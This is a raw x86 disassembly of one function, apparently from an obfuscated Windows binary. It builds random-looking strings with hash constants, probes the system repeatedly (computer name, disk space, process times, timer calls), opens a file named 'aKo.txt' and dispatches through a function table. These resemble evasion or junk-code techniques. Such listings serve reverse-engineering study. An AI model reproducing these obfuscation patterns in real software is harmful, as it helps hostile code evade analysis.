lea ecx, [ebp - 0x28]
call fcn.00401c92
push 0x2bc22f0e
lea eax, [ebp - 0x28]
mov dword [ebp - 4], 0xd
push eax
push 0x490d20
call fcn.00408802
pop ecx
pop ecx
mov ecx, eax
call fcn.004095dc
push eax
call fcn.00408ee3
or dword [ebp - 4], 0xffffffff
pop ecx
lea ecx, [ebp - 0x28]
call fcn.004021f4
push str.fJNDlsNC
lea ecx, [ebp - 0x28]
call fcn.00401c92
push 0x135b1d3d
lea eax, [ebp - 0x28]
mov dword [ebp - 4], 0xe
push eax
push 0x490d20
call fcn.00408802
pop ecx
pop ecx
mov ecx, eax
call fcn.004095dc
push eax
call fcn.00408ee3
or dword [ebp - 4], 0xffffffff
pop ecx
lea ecx, [ebp - 0x28]
call fcn.004021f4
push 0x400
lea eax, [ebp - 0x430]
push esi
push eax
call fcn.00439fe0
add esp, 0xc
lea ecx, [ebp - 0x28]
push str.oVXvl7
call fcn.00401c92
push 0x297a2d14
lea eax, [ebp - 0x28]
mov dword [ebp - 4], 0xf
push eax
push 0x490d20
call fcn.00408802
pop ecx
pop ecx
mov ecx, eax
call fcn.004095dc
push eax
call fcn.00408ee3
or dword [ebp - 4], 0xffffffff
pop ecx
lea ecx, [ebp - 0x28]
call fcn.004021f4
push str.FN9DRzDnxE
lea ecx, [ebp - 0x28]
call fcn.00401c92
cmp dword [ebp - 0x14], 0xf
lea eax, [ebp - 0x28]
push 0x3767e10b
cmova eax, dword [ebp - 0x28]
push eax
push 0x478d80
call fcn.0041cd83
add esp, 0xc
lea ecx, [ebp - 0x28]
call fcn.004021f4
mov dword [ebp - 0x434], 0x10
lea eax, [ebp - 0x434]
push eax
lea eax, [ebp - 0x30]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
push str.aW1U2W
lea ecx, [ebp - 0x28]
call fcn.00401c92
cmp dword [ebp - 0x14], 0xf
lea eax, [ebp - 0x28]
push 0x12da44cc
cmova eax, dword [ebp - 0x28]
push eax
push 0x478d90
call fcn.0041cd83
add esp, 0xc
lea ecx, [ebp - 0x28]
call fcn.004021f4
push str.uzcOMKeO
lea ecx, [ebp - 0x28]
call fcn.00401c92
cmp dword [ebp - 0x14], 0xf
lea eax, [ebp - 0x28]
push 0x1a5e688a
cmova eax, dword [ebp - 0x28]
push eax
push 0x478da4
call fcn.0041cd83
add esp, 0xc
lea ecx, [ebp - 0x28]
call fcn.004021f4
lea eax, [ebp - 0x440]
push eax
lea eax, [ebp - 0x460]
push eax
lea eax, [ebp - 0x458]
push eax
push 0x478dac
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
lea eax, [ebp - 0x434]
mov dword [ebp - 0x434], 0x10
push eax
lea eax, [ebp - 0x30]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
push esi
push 0x400
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x434], eax
test eax, eax
je 0x423a43
lea ecx, [ebp - 0x440]
push ecx
lea ecx, [ebp - 0x460]
push ecx
lea ecx, [ebp - 0x458]
push ecx
lea ecx, [ebp - 0x470]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcessTimes]
push dword [ebp - 0x434]
call edi
lea eax, [ebp - 0x440]
push eax
call ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
push esi
push 0x400
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x434], eax
test eax, eax
je 0x423a94
lea ecx, [ebp - 0x440]
push ecx
lea ecx, [ebp - 0x460]
push ecx
lea ecx, [ebp - 0x458]
push ecx
lea ecx, [ebp - 0x470]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcessTimes]
push dword [ebp - 0x434]
call edi
lea eax, [ebp - 0x440]
push eax
call ebx
push str.mqQ2fn
lea ecx, [ebp - 0x28]
call fcn.00401c92
cmp dword [ebp - 0x14], 0xf
lea eax, [ebp - 0x28]
push 0x5a79e84
cmova eax, dword [ebp - 0x28]
push eax
push 0x478dbc
call fcn.0041cd83
add esp, 0xc
lea ecx, [ebp - 0x28]
call fcn.004021f4
push 8
lea eax, [ebp - 0x460]
push eax
call dword [sym.imp.WINMM.dll_timeGetDevCaps]
test eax, eax
jne 0x423af3
push 1
call dword [sym.imp.WINMM.dll_timeBeginPeriod]
push 1
call dword [sym.imp.WINMM.dll_timeEndPeriod]
lea eax, [ebp - 0x434]
mov dword [ebp - 0x434], 0x10
push eax
lea eax, [ebp - 0x30]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
lea eax, [ebp - 0x468]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
push 8
lea eax, [ebp - 0x440]
push eax
call dword [sym.imp.WINMM.dll_timeGetDevCaps]
test eax, eax
jne 0x423b3e
push 1
call dword [sym.imp.WINMM.dll_timeBeginPeriod]
push 1
call dword [sym.imp.WINMM.dll_timeEndPeriod]
lea eax, [ebp - 0x434]
mov dword [ebp - 0x434], 0x10
push eax
lea eax, [ebp - 0x30]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
lea eax, [ebp - 0x434]
mov dword [ebp - 0x434], 0x10
push eax
lea eax, [ebp - 0x30]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
lea eax, [ebp - 0x440]
push eax
call ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
push esi
push 0x400
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov ebx, eax
test ebx, ebx
je 0x423bbc
lea eax, [ebp - 0x440]
push eax
lea eax, [ebp - 0x460]
push eax
lea eax, [ebp - 0x458]
push eax
lea eax, [ebp - 0x470]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcessTimes]
push ebx
call edi
push 0x400
lea eax, [ebp - 0x430]
push esi
push eax
call fcn.00439fe0
add esp, 0xc
push esi
push 0x80
push 3
push esi
push 1
push 0x80000000
push str.aKo.txt
call dword [sym.imp.KERNEL32.dll_CreateFileW]
cmp eax, 0xffffffff
je 0x423bf4
push eax
call edi
cmp dword [ebp + 0xc], 0
jbe 0x423c09
mov edi, dword [ebp - 0x474]
call dword [edi + esi*4]
inc esi
cmp esi, dword [ebp + 0xc]
jb 0x423c00
call fcn.00438b33
ret